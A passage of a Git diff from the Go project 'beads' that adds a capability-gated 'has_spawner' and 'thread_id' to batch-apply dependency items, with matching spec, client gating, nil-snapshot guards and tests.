pins the document's minLength: 1 on a +// dep_add item's thread_id. An absent member already names no thread, so an +// empty one is refused by name rather than read as a second spelling of it. +// The client never sends one (setItemString omits an empty value), so only a +// direct-wire caller reaches this. +func TestApplyBatchRefusesAnEmptyThreadID(t *testing.T) { + applier := &roleBatchApplier{} + ts := newApplyBatchServer(t, applier) + + resp := ts.claim(t, batchApplyPath, `{"actor":"alice","items":[{"kind":"dep_add","dep_add":{ + "source":{"id":"a"},"target":{"id":"b"},"type":"blocks","thread_id":""}}]}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["param"] != "items[0].dep_add.thread_id" || body["reason"] != "invalid_value" { + t.Errorf("param/reason = %v/%v, want items[0].dep_add.thread_id/invalid_value", body["param"], body["reason"]) + } + if len(applier.requests()) != 0 { + t.Errorf("the role was called for a refused request; nothing may reach it") + } +} + // TestApplyBatchRefusesMoreItemsThanTheRoleAccepts pins the cap at the edge, so // an over-long plan costs no database work. The number is the role's own // constant rather than a second copy of it. diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 2dbd4f291..4c426275a 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -149,6 +149,18 @@ const CapIssuesSweepLiveDependents = "issues.sweep.liveDependents" // before sending the member to a server that may predate it. const CapIssuesSweepLimit = "issues.sweep.limit" +// CapBatchApplyDepAddLineage is the behavior capability that advertises +// ApplyDepAddItem's `has_spawner` and `thread_id` members (batch_apply.go): +// additive fields a `dep_add` item may carry alongside `source`, `target`, +// `type` and `metadata`. Like CapBatchApplyLarge it names members of an +// EXISTING operation (issues.batchApply already has its own per-operation +// token) rather than a route of its own, so it rides the same +// behaviorCapabilities list. An older server predating this token answers +// either member with `400 invalid_argument`/`unknown_parameter`. The client +// MUST check this token before sending either member to a server that may +// predate it; it refuses locally before the dial when the token is absent. +const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -899,6 +911,7 @@ func (r route) specPathOf() string { var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope, CapIssuesSweepWispsPlane, CapIssuesSweepLiveDependents, CapIssuesSweepLimit, + CapBatchApplyDepAddLineage, } // Capabilities lists what this build advertises in ContextResponse.capabilities: diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 514190e91..6f787874c 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -636,7 +636,8 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // same list. Both are spelled literally here to keep this an independent // oracle rather than a second call to the code under test. want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope", - "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit") + "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit", + "issues.batchApply.depAddLineage") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 784f24f22..456693a41 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -7969,9 +7969,13 @@ components: `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering - `unknown_parameter`, and `issues.sweep.limit`, which announces + `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than - silently answering `unknown_parameter`. The + silently answering `unknown_parameter`, and + `issues.batchApply.depAddLineage`, which announces that a + `dep_add` item on `POST /v0/beads/issues:batchApply` accepts + `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than + a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. @@ -10301,6 +10305,12 @@ components: a typed spelling lowers to these same bytes, and the blob carries members a two-field typed member could not express. One spelling, and it is this one. + + + `has_spawner` and `thread_id` require `issues.batchApply.depAddLineage`: + a client naming either on a server that has not advertised the token + refuses locally before the dial rather than sending bytes an older + server would answer with its own `400` for an unknown member. properties: source: $ref: '#/components/schemas/Ref' @@ -10316,6 +10326,24 @@ components: a known-types list, so a workspace's own type passes. metadata: $ref: '#/components/schemas/MetadataValue' + has_spawner: + type: boolean + description: >- + Gated by `issues.batchApply.depAddLineage`. Ignored for every + `type` but `waits-for`: on a `waits-for` edge, `true` stamps + `metadata.spawner_id` with this item's `target` (the id `bd create + --graph`'s spawner_key/spawner_id resolved to), so a reader learns + which spawned row to watch without re-deriving it from the graph + plan. Absent or `false` leaves `metadata` exactly as given. + thread_id: + type: string + minLength: 1 + maxLength: 255 + description: >- + Gated by `issues.batchApply.depAddLineage`. A plain column on the + stored edge, separate from `metadata`'s blob — the graph-plan + thread this edge belongs to, for a reader that groups edges by + thread without parsing every edge's metadata. ApplyBatchResponse: type: object diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 1dccd173c..1bff0651a 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -264,6 +264,12 @@ "type": "string", "required": true }, + { + "schema": "ApplyDepAddItem", + "member": "has_spawner", + "type": "boolean", + "required": false + }, { "schema": "ApplyDepAddItem", "member": "metadata", @@ -283,6 +289,12 @@ "type": "object", "required": true }, + { + "schema": "ApplyDepAddItem", + "member": "thread_id", + "type": "string", + "required": false + }, { "schema": "ApplyDepAddItem", "member": "type", diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 702900172..f6cb1cbee 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -114,6 +114,7 @@ go_test( "required_served_tier_test.go", "roles_graph_cycles_test.go", "roles_test.go", + "served_batch_apply_large_test.go", "served_batch_apply_test.go", "served_batch_close_test.go", "served_batch_getter_test.go", @@ -181,6 +182,7 @@ go_test( "//internal/httpclient/wire", "//internal/storage", "//internal/storage/backends", + "//internal/storage/batchfixtures", "//internal/storage/domain", "//internal/storage/embeddeddolt", "//internal/storage/issueops", diff --git a/internal/httpclient/batchapplier.go b/internal/httpclient/batchapplier.go index dae4ed8f0..b39c12986 100644 --- a/internal/httpclient/batchapplier.go +++ b/internal/httpclient/batchapplier.go @@ -7,6 +7,7 @@ import ( "errors" "fmt" "reflect" + "slices" "strings" "github.com/steveyegge/beads/internal/httpapi/apigen" @@ -84,6 +85,9 @@ func (b *httpBatchApplier) ApplyBatch(ctx context.Context, req issueops.ApplyBat return issueops.ApplyBatchResult{}, invalid( "a batch apply carries %d items; the limit is %d per request", len(req.Items), issueops.MaxApplyBatchItems) } + if err := b.refuseUnservedDepAddLineage(ctx, req); err != nil { + return issueops.ApplyBatchResult{}, err + } body, err := applyBatchBody(req) if err != nil { @@ -96,6 +100,41 @@ func (b *httpBatchApplier) ApplyBatch(ctx context.Context, req issueops.ApplyBat return decodeApplyBatchResult(req, resp) } +// refuseUnservedDepAddLineage scans the whole plan once, before the dial, for +// a dep_add item naming ThreadID, or HasSpawner on a waits-for edge (the one +// type the role reads it on; see depAddNamesSpawner). Neither member is served +// unless the handshake snapshot advertises wire.CapBatchApplyDepAddLineage: +// an older server has never heard of either and would answer them with its +// generic unknown-member 400 at best, or (once a server DOES know the +// members but this gate were skipped) silently honor a field the caller +// never meant to send past an unupgraded fleet. So this checks the +// capability once for the whole request — never per item, and never after +// the dial. +func (b *httpBatchApplier) refuseUnservedDepAddLineage(ctx context.Context, req issueops.ApplyBatchRequest) error { + carriesLineage := false + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd && depAddCarriesLineage(item.DepAdd) { + carriesLineage = true + break + } + } + if !carriesLineage { + return nil + } + snap, err := b.store.snapshot(ctx) + if err != nil { + return err + } + // snap is nil, nil whenever Store.snapshot has no transport AND no cached + // handshake (a Store built with a nil wire): nothing was ever advertised, + // so this falls straight through to the refusal below rather than + // dereferencing a nil *apigen.ContextResponse. + if snap != nil && slices.Contains(snap.Capabilities, wire.CapBatchApplyDepAddLineage) { + return nil + } + return b.store.unsupportedCapability("BatchApplier.ApplyBatch", wire.CapBatchApplyDepAddLineage) +} + // applyBatchBody projects the role's request onto the wire body. func applyBatchBody(req issueops.ApplyBatchRequest) (wire.ApplyBatchRequest, error) { items := make([]wire.ApplyItem, 0, len(req.Items)) @@ -368,15 +407,6 @@ func applyDepAddItemBody(item *issueops.DepAddItem) (*apigen.ApplyDepAddItem, er if item.Type == "" { return nil, invalid("a dep_add item names no edge type") } - // ApplyDepAddItem publishes neither member below, so each refuses where the - // role would store something the wire cannot say. The spawner flag only - // does that on a waits-for edge; the role ignores it on every other type. - switch { - case item.HasSpawner && item.Type == issueops.DepWaitsFor: - return nil, refuse(encode.OpApplyBatch, "W-DepAddItem.HasSpawner") - case item.ThreadID != "": - return nil, refuse(encode.OpApplyBatch, "W-DepAddItem.ThreadID") - } out := &apigen.ApplyDepAddItem{Source: source, Target: target, Type: string(item.Type)} // A BLANK blob is ABSENT, not malformed, and reading it any other way is a // real bug rather than strictness: the role's own rule is that an absent, @@ -390,9 +420,34 @@ func applyDepAddItemBody(item *issueops.DepAddItem) (*apigen.ApplyDepAddItem, er } out.Metadata = apigen.MetadataValue(blob) } + // HasSpawner and ThreadID are gated by CapBatchApplyDepAddLineage + // (checked in ApplyBatch, before the dial, over the whole request) — + // this projection only encodes what the gate already cleared, which is + // why HasSpawner is sent only where depAddNamesSpawner holds. + setItemBool(&out.HasSpawner, depAddNamesSpawner(item)) + setItemString(&out.ThreadId, item.ThreadID) return out, nil } +// depAddCarriesLineage reports whether a dep_add item names a member +// CapBatchApplyDepAddLineage gates: ThreadID on any edge, HasSpawner only +// where depAddNamesSpawner holds. Used to scan a whole request once before +// the dial, rather than discovering the gap one item at a time after bytes +// already left for the wire. +func depAddCarriesLineage(item *issueops.DepAddItem) bool { + return item != nil && (depAddNamesSpawner(item) || item.ThreadID != "") +} + +// depAddNamesSpawner reports whether a dep_add item's HasSpawner means +// anything: the role reads it on a waits-for edge only and ignores it on +// every other type. Off a waits-for edge the flag is therefore dropped, not +// sent, and never needs the capability — dropping it loses nothing the role +// would store, where refusing it would fail a mixed-version request the +// flag cannot change. +func depAddNamesSpawner(item *issueops.DepAddItem) bool { + return item.HasSpawner && item.Type == issueops.DepWaitsFor +} + // applyRefBody projects one ref, applying the exactly-one rule the schema // cannot state. // diff --git a/internal/httpclient/batchapplier_test.go b/internal/httpclient/batchapplier_test.go index 3607f59a6..a29e38033 100644 --- a/internal/httpclient/batchapplier_test.go +++ b/internal/httpclient/batchapplier_test.go @@ -12,10 +12,24 @@ import ( "github.com/steveyegge/beads/internal/httpapi/apigen" "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) +// applyRoleWithSnapshot is applyRole's twin for pinning exactly what the +// handshake advertises, the same idiom counts_test.go's +// countRoleWithSnapshot uses: passing a snapshot straight through New rather +// than accepting applyRole's bare stubStore default. +func applyRoleWithSnapshot(t *testing.T, w *stubWire, snap *apigen.ContextResponse) issueops.BatchApplier { + t.Helper() + applier, err := New(testTarget(t), w, snap).BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + return applier +} + // The batch-apply role's unit gates: what the client DECIDES before the dial, // and what it refuses to believe about the answer. // @@ -52,8 +66,12 @@ func applyOneCreate() issueops.ApplyBatchRequest { // The create item's issue vocabulary is EXACTLY the single create's, so the // partition tables are shared rather than copied and this drives the same sweep // against a different operation and a different ledger row. The patch's own -// excluded member — parent_id — is the second half, and the edge item's two — -// the spawner flag and the thread — are the third. +// excluded member — parent_id — is the second half. +// +// The edge item's spawner flag and thread were a third population here before +// issues.batchApply.depAddLineage: both are CARRIED now, gated on the +// capability rather than refused outright — see +// TestApplyBatchRefusesUnservedDepAddLineageBeforeDialing. func TestApplyBatchRefusesEveryMemberTheWireExcludes(t *testing.T) { t.Run("the create item's carried members are the wire's own", func(t *testing.T) { published := bodyMembers(t, reflect.TypeOf(apigen.ApplyCreateItem{})) @@ -164,34 +182,18 @@ func TestApplyBatchRefusesEveryMemberTheWireExcludes(t *testing.T) { } }) - t.Run("the edge item's two unpublished members refuse", func(t *testing.T) { - for _, test := range []struct { - member string - row string - set func(*issueops.DepAddItem) - }{ - {"HasSpawner", "W-DepAddItem.HasSpawner", func(item *issueops.DepAddItem) { item.HasSpawner = true }}, - {"ThreadID", "W-DepAddItem.ThreadID", func(item *issueops.DepAddItem) { item.ThreadID = "th-1" }}, - } { - t.Run(test.member, func(t *testing.T) { - item := &issueops.DepAddItem{ - Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, Type: issueops.DepWaitsFor, - } - test.set(item) - w := &stubWire{} - _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ - Actor: "planner", - Items: []issueops.ApplyItem{{Kind: issueops.ItemDepAdd, DepAdd: item}}, - }) - assertRefusedBy(t, err, test.row) - if len(w.calls) != 0 { - t.Errorf("the refused member reached the wire: %v", w.calls) - } - }) - } - }) + // The edge item's HasSpawner/ThreadID used to refuse here + // (W-DepAddItem.HasSpawner on a waits-for edge, W-DepAddItem.ThreadID on + // any). Both are now CARRIED, gated by issues.batchApply.depAddLineage on + // the same edges — see + // TestApplyBatchRefusesUnservedDepAddLineageBeforeDialing for the pre-dial + // capability refusal this subtest retired in favor of. t.Run("a spawner flag on any other edge type is the role's no-op, and is not refused", func(t *testing.T) { + // applyRole's snapshot advertises no capability at all: the flag is + // gated only where the role reads it, so a blocks edge carrying it + // dials an older server rather than refusing — and drops the flag + // instead of sending a member that server would answer with a 400. w := &stubWire{} _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ Actor: "planner", @@ -202,8 +204,12 @@ func TestApplyBatchRefusesEveryMemberTheWireExcludes(t *testing.T) { if err != nil { t.Fatalf("a spawner flag on a blocks edge refused: %v", err) } - if got := w.lastApply.Items[0].DepAdd; got == nil || got.Type != string(issueops.DepBlocks) { - t.Errorf("the encoded edge = %+v, want the caller's blocks edge", got) + got := w.lastApply.Items[0].DepAdd + if got == nil || got.Type != string(issueops.DepBlocks) { + t.Fatalf("the encoded edge = %+v, want the caller's blocks edge", got) + } + if got.HasSpawner != nil { + t.Errorf("has_spawner = %v on a blocks edge, want it dropped: the role ignores it there", *got.HasSpawner) } }) @@ -997,3 +1003,91 @@ func TestTheApplyLabelPatchIsTheWholeEdit(t *testing.T) { t.Error("the clear invented an add member") } } + +// TestApplyBatchRefusesUnservedDepAddLineageBeforeDialing is the 2026-10 +// Opus-review HIGH-1 finding: refuseUnservedDepAddLineage (batchapplier.go) +// carried no coverage at all — deleting the function and its call site +// passed every test that existed before this one. +// +// A dep_add item naming ThreadID on any edge, or HasSpawner on a waits-for +// edge, dialed against a server that does not advertise +// CapBatchApplyDepAddLineage, must refuse BEFORE dialing with +// *storage.ErrUnsupported naming the capability. A plan that touches neither +// field must still dial normally against the SAME masked server: the gate +// scopes the two members, not the operation. (HasSpawner off a waits-for edge +// is the role's no-op and dials too — see +// TestApplyBatchRefusesEveryMemberTheWireExcludes.) +func TestApplyBatchRefusesUnservedDepAddLineageBeforeDialing(t *testing.T) { + masked := &apigen.ContextResponse{BdVersion: "1.2.3"} // no CapBatchApplyDepAddLineage + depAddPlan := func(item issueops.DepAddItem) issueops.ApplyBatchRequest { + return issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{Kind: issueops.ItemDepAdd, DepAdd: &item}}, + } + } + + for _, tc := range []struct { + name string + item issueops.DepAddItem + }{ + { + name: "HasSpawner", + item: issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, + Type: "waits-for", HasSpawner: true, + }, + }, + { + name: "ThreadID", + item: issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, + Type: "waits-for", ThreadID: "t-1", + }, + }, + { + // Unlike HasSpawner, a thread is stored on every edge type. + name: "ThreadID on a blocks edge", + item: issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, + Type: "blocks", ThreadID: "t-1", + }, + }, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{} + _, err := applyRoleWithSnapshot(t, w, masked).ApplyBatch(t.Context(), depAddPlan(tc.item)) + if err == nil { + t.Fatal("ApplyBatch returned no error, want a pre-dial capability refusal") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != wire.CapBatchApplyDepAddLineage { + t.Errorf("Capability = %q, want %q", unsup.Capability, wire.CapBatchApplyDepAddLineage) + } + if len(w.calls) != 0 { + t.Errorf("dialed %d times, want 0: a pre-dial refusal must never reach the wire", len(w.calls)) + } + }) + } + + t.Run("neither field set still dials", func(t *testing.T) { + dependsOn := "bd-2" + w := &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{}, + Items: []apigen.ApplyItemResult{ + {Kind: "dep_add", IssueId: "bd-1", DependsOnId: &dependsOn, Changed: true, Revision: "0"}, + }, + }} + _, err := applyRoleWithSnapshot(t, w, masked).ApplyBatch(t.Context(), depAddPlan(issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, Type: "waits-for", + })) + if err != nil { + t.Fatalf("ApplyBatch with no lineage fields set: %v", err) + } + if len(w.calls) == 0 { + t.Error("the plan never reached the wire, want a dial: the gate scopes HasSpawner/ThreadID, not the operation") + } + }) +} diff --git a/internal/httpclient/counter.go b/internal/httpclient/counter.go index 8fe62e1ea..54b11c696 100644 --- a/internal/httpclient/counter.go +++ b/internal/httpclient/counter.go @@ -119,7 +119,11 @@ func (c httpCounter) refuseUnservedScope(ctx context.Context, op string, req iss if err != nil { return err } - if slices.Contains(snap.Capabilities, wire.CapCountScope) { + // snap is nil, nil whenever Store.snapshot has no transport AND no cached + // handshake (a Store built with a nil wire): nothing was ever advertised, + // so this falls straight through to the refusal below rather than + // dereferencing a nil *apigen.ContextResponse. + if snap != nil && slices.Contains(snap.Capabilities, wire.CapCountScope) { return nil } return c.store.unsupportedCapability(op, wire.CapCountScope) diff --git a/internal/httpclient/counts_test.go b/internal/httpclient/counts_test.go index af3c67793..ddfa84b1d 100644 --- a/internal/httpclient/counts_test.go +++ b/internal/httpclient/counts_test.go @@ -736,3 +736,46 @@ func TestCountScopeRefusesLocallyWhenTheServerLacksTheCapability(t *testing.T) { } }) } + +// TestCounterRefusesScopeGracefullyWithNoTransportAndNoSnapshot is the 2026-10 +// Opus-review LOW-6 finding: Store.snapshot returns (nil, nil) when a Store +// carries neither a wire NOR a cached handshake, and Store.Counter() — unlike +// Sweeper() and BatchApplier() — never calls roleWire first, so a Counter +// built this way is reachable through the ordinary public accessor. Before +// the nil guard in refuseUnservedScope, a scoped count against such a Counter +// paniced on snap.Capabilities rather than refusing. +// +// Passing a nil snapshot through New is the direct, minimal reproduction: +// Store.Counter() builds on whatever New was given, with no roleWire gate to +// go through first. +func TestCounterRefusesScopeGracefullyWithNoTransportAndNoSnapshot(t *testing.T) { + counter, err := New(testTarget(t), nil, nil).Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + + _, err = counter.Count(t.Context(), issueops.CountRequest{ParentID: "bd-1"}) + if err == nil { + t.Fatal("Count returned no error, want a graceful capability refusal rather than a panic") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != wire.CapCountScope { + t.Errorf("Capability = %q, want %q", unsup.Capability, wire.CapCountScope) + } + + _, err = counter.CountByGroup(t.Context(), issueops.CountByGroupRequest{ + Filter: issueops.CountRequest{NoParent: true}, GroupBy: issueops.CountGroupStatus, + }) + if err == nil { + t.Fatal("CountByGroup returned no error, want a graceful capability refusal rather than a panic") + } + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != wire.CapCountScope { + t.Errorf("Capability = %q, want %q", unsup.Capability, wire.CapCountScope) + } +} diff --git a/internal/httpclient/encode/ledger.go b/internal/httpclient/encode/ledger.go index 605226c27..f40002da3 100644 --- a/internal/httpclient/encode/ledger.go +++ b/internal/httpclient/encode/ledger.go @@ -759,7 +759,9 @@ func writeSideRows() []Row { // createIssue's own edge publishes `reverse` and `metadata` (its issue // HAS an id for a target to point back at, which a batch item does // not), so the client sends both there. Only ThreadID is refused on - // both, because no operation publishes a thread member. + // both, because neither create schema publishes a thread member — a + // batch apply's dep_add item does, which retired its own row + // (W-DepAddItem.ThreadID) but not these. createDependencyRow("Reverse", "an edge written from the target back to the new issue refuses ON A BATCH CREATE", "BatchCreateDependency carries target_id and type only; dropping Reverse would write the edge in the OPPOSITE direction from the one asked for, which is a different graph. createIssue's CreateIssueDependency DOES publish it, and the single-create path sends it"), createDependencyRow("Metadata", "typed edge metadata refuses ON A BATCH CREATE", @@ -834,21 +836,20 @@ func writeSideRows() []Row { PinnedBy: applyPin, }, { - ID: "W-DepAddItem.HasSpawner", Kind: KindRefuse, + ID: "W-DepAddItem.HasSpawner", Kind: KindRetired, Type: tyApplyDepAddItem, Field: "HasSpawner", - What: "a waits-for edge ITEM that names its spawner refuses", - Why: "ApplyDepAddItem publishes source, target, type and metadata and no spawner member, and the flag asks for a write only the ROLE can make: metadata's spawner_id, stamped from the resolved target once every id in the batch exists, because a target named by key has no id before then. " + - "Dropping the flag would store the edge's gate-only metadata, so an edge whose caller named a spawner would carry none. On every other edge type the role ignores the flag and stores the same row either way, so there it is dropped rather than refused. Upstream ask: a spawner member on ApplyDepAddItem, which retires this row", - SpecRow: "D8 refuse-not-drop", + What: "a waits-for edge ITEM that names its spawner used to refuse", + Why: "RETIRED by issues.batchApply.depAddLineage (S5). ApplyDepAddItem now publishes `has_spawner` — the write this row said only the role could make, metadata's spawner_id stamped from the resolved target — gated on the capability rather than dropped: a caller on a server that has not advertised the token refuses locally before the dial (BatchApplier.refuseUnservedDepAddLineage), and a caller on a server that has sends the member exactly as given. " + + "The flag is sent, and gated, on a waits-for edge only, the one type the role reads it on. Off a waits-for edge it is the role's no-op, so the client drops it there without loss — the stored row is the same either way — rather than refusing a request the flag cannot change, or sending an older server a member it answers with a 400", + SpecRow: "D8 refuse-not-drop (RETIRED)", PinnedBy: applyPin, }, { - ID: "W-DepAddItem.ThreadID", Kind: KindRefuse, + ID: "W-DepAddItem.ThreadID", Kind: KindRetired, Type: tyApplyDepAddItem, Field: "ThreadID", - What: "associating an edge ITEM with a discussion thread refuses", - Why: "ApplyDepAddItem publishes no thread member, and no operation on this surface does: W-CreateDependency.ThreadID refuses the same column on both create edges. Dropping it would store the edge with no thread, so a replies-to edge would lose the conversation it was written for. " + - "It is a row of its own rather than a citation of that one for W-CreateItem.Issue's reason: the operation is different", - SpecRow: "D8 refuse-not-drop", + What: "associating an edge ITEM with a discussion thread used to refuse", + Why: "RETIRED with W-DepAddItem.HasSpawner (S5, issues.batchApply.depAddLineage). ApplyDepAddItem now publishes `thread_id` as a plain column on the stored edge, gated by the same capability and the same pre-dial refusal rather than dropped — a caller naming a thread on an unadvertising server is refused before the dial, never silently stored with no thread", + SpecRow: "D8 refuse-not-drop (RETIRED)", PinnedBy: applyPin, }, { diff --git a/internal/httpclient/served_batch_apply_large_test.go b/internal/httpclient/served_batch_apply_large_test.go new file mode 100644 index 000000000..424dc41e9 --- /dev/null +++ b/internal/httpclient/served_batch_apply_large_test.go @@ -0,0 +1,155 @@ +//go:build cgo + +// Written fresh for OSS beads S5 (no bd-enterprise source copied). + +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/storage/batchfixtures" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// TestServedBatchApplyShape356CommitsAtomically and +// TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows are the http +// leg's half of slice S5's named trio ("a 356-item plan against a masked +// server refuses pre-dial; against the main server it commits atomically; an +// injected mid-plan failure leaves zero rows"). The masked-server half lives +// in internal/httpclient/wire (TestApplyBatchAt356ItemsWithoutTheCapabilityRefusesBeforeDialing): +// the item-count gate it exercises never looks past len(body.Items), so a +// synthetic plan there is behaviorally identical to a REAL +// batchfixtures.Shape356 plan for that one gate. These two cases are what a +// REALISTIC, heterogeneous 356-item plan (the design's primary measured +// shape: 102 creates with metadata, 136 blocks edges, 102 tracks-to-root +// edges, 16 assign updates) must still do once past that gate: commit every +// row in one transaction, or refuse the whole thing and leave none. +// +// Both drive the real in-process bd serve stack (newServedEnv), which +// unconditionally advertises issues.batchApplyLarge in its static +// behaviorCapabilities -- so neither needs the masked handshake the other +// case already covers; they are about the CONTENT this gate lets through, +// not the gate itself. + +// TestServedBatchApplyShape356CommitsAtomically applies the full 356-item +// shape once and asserts the whole plan actually landed: every create's key +// bound to a minted id, and the issues table holding exactly one row per +// create on top of the pre-seeded root -- proving the client's positional +// result-decoding and key-binding checks (decodeApplyBatchResult, +// checkApplyKeyBinding) hold up at this scale, not only on the handful-of- +// items plans the rest of served_batch_apply_test.go uses. +func TestServedBatchApplyShape356CommitsAtomically(t *testing.T) { + env := newServedEnv(t, "hbalg0") + ctx := t.Context() + + root := &types.Issue{Title: "root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(ctx, root, "tester"); err != nil { + t.Fatalf("seed root issue: %v", err) + } + + applier, err := env.subject.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + + plan := batchfixtures.Shape356("tester", root.ID) + wantCreates := 0 + for _, item := range plan.Items { + if item.Kind == issueops.ItemCreate { + wantCreates++ + } + } + + result, err := applier.ApplyBatch(ctx, plan) + if err != nil { + t.Fatalf("ApplyBatch(%d items): %v", len(plan.Items), err) + } + if len(result.Items) != len(plan.Items) { + t.Fatalf("got %d item results, want %d (one per requested item)", len(result.Items), len(plan.Items)) + } + if len(result.Keys) != wantCreates { + t.Errorf("got %d bound keys, want %d (one per named create)", len(result.Keys), wantCreates) + } + + var createdRows int + if err := env.queryScalar(ctx, "SELECT COUNT(*) FROM issues WHERE id != ?", []any{root.ID}, &createdRows); err != nil { + t.Fatalf("count created rows: %v", err) + } + if createdRows != wantCreates { + t.Errorf("issues table holds %d non-root row(s) after a %d-item apply, want %d (every create must have landed, none dropped or duplicated)", + createdRows, len(plan.Items), wantCreates) + } +} + +// TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows is the "injected +// mid-plan failure" half: the full 356-item shape, plus one more item at the +// tail guarding the PRE-EXISTING root issue with a deliberately stale +// ExpectedVersion. The root is never created or touched by any of the 356 +// shape items, so this guard takes the real precondition_failed round trip +// (not the static "guard on a row this same request already wrote" refusal +// RunBatchApplyRefusesExpectedVersionOnARowAnEarlierItemCreated/Touched pin +// elsewhere) -- proving, at realistic scale, both Requirement 2 (a batch +// item's ExpectedVersion rides the strict revision token and a server-side +// precondition_failed maps back to issueops.ErrVersionMismatch via +// errors.Is) and the "never chunk" ceiling: a 357-item ALL-OR-NOTHING +// request that fails on its last item must leave NONE of the other 356 +// rows behind, which a client that silently split the request into several +// smaller ones could not guarantee. +func TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows(t *testing.T) { + env := newServedEnv(t, "hbalg1") + ctx := t.Context() + + root := &types.Issue{Title: "root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(ctx, root, "tester"); err != nil { + t.Fatalf("seed root issue: %v", err) + } + + applier, err := env.subject.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + + plan := batchfixtures.Shape356("tester", root.ID) + staleVersion := int64(999999) + plan.Items = append(plan.Items, issueops.ApplyItem{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: root.ID}, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "clobbered"}}, + ExpectedVersion: &staleVersion, + }, + }) + lastIndex := len(plan.Items) - 1 + + _, err = applier.ApplyBatch(ctx, plan) + if !errors.Is(err, issueops.ErrVersionMismatch) { + t.Fatalf("a stale ExpectedVersion on a %d-item plan: error = %v, want ErrVersionMismatch", len(plan.Items), err) + } + var itemErr *issueops.ItemError + if !errors.As(err, &itemErr) { + t.Fatalf("error = %v, want the refusal wrapped in an *ItemError naming the item", err) + } + if itemErr.Index != lastIndex || itemErr.IssueID != root.ID { + t.Errorf("ItemError = %#v, want Index %d acting on %s", itemErr, lastIndex, root.ID) + } + + // Nothing from the 356-item shape landed: no creates, and the root's own + // title is untouched by the refused guard. + var createdRows int + if err := env.queryScalar(ctx, "SELECT COUNT(*) FROM issues WHERE id != ?", []any{root.ID}, &createdRows); err != nil { + t.Fatalf("count created rows: %v", err) + } + if createdRows != 0 { + t.Errorf("issues table holds %d non-root row(s) after a refused %d-item apply, want 0 (an all-or-nothing request must leave nothing behind)", + createdRows, len(plan.Items)) + } + var title string + if err := env.queryScalar(ctx, "SELECT title FROM issues WHERE id = ?", []any{root.ID}, &title); err != nil { + t.Fatalf("read back root title: %v", err) + } + if title != root.Title { + 